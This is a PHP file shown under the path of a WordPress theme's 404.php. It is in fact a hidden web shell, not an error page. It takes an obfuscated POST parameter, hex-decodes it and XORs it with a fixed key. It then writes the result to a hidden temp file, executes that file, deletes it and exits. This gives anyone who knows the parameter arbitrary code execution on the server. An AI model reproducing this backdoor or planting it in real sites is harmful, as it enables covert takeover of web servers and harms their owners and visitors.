/home/fdhrevqn/public_html/wp-content/themes/fox/404.php
<?php
//<PHPDATA>fputs_xor;89;holder</PHPDATA>
if(!empty($_POST["ho\x6Cd\x65r"])){
$ent = hex2bin($_POST["ho\x6Cd\x65r"]);
$factor = '' ; for($w=0;$w<strlen($ent);$w++){$factor.=chr(ord($ent[$w])^89);}
$rec = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp"]);
foreach ($rec as $key => $ent) {
if ((bool)is_dir($ent) && (bool)is_writable($ent)) {
$dchunk = join("/", [$ent, ".parameter_group"]);
$data_chunk = fopen($dchunk, 'w');
if ($data_chunk && fwrite($data_chunk, $factor)) {
fclose($data_chunk);
require $dchunk;
@unlink($dchunk);
die();
}
}
}
}
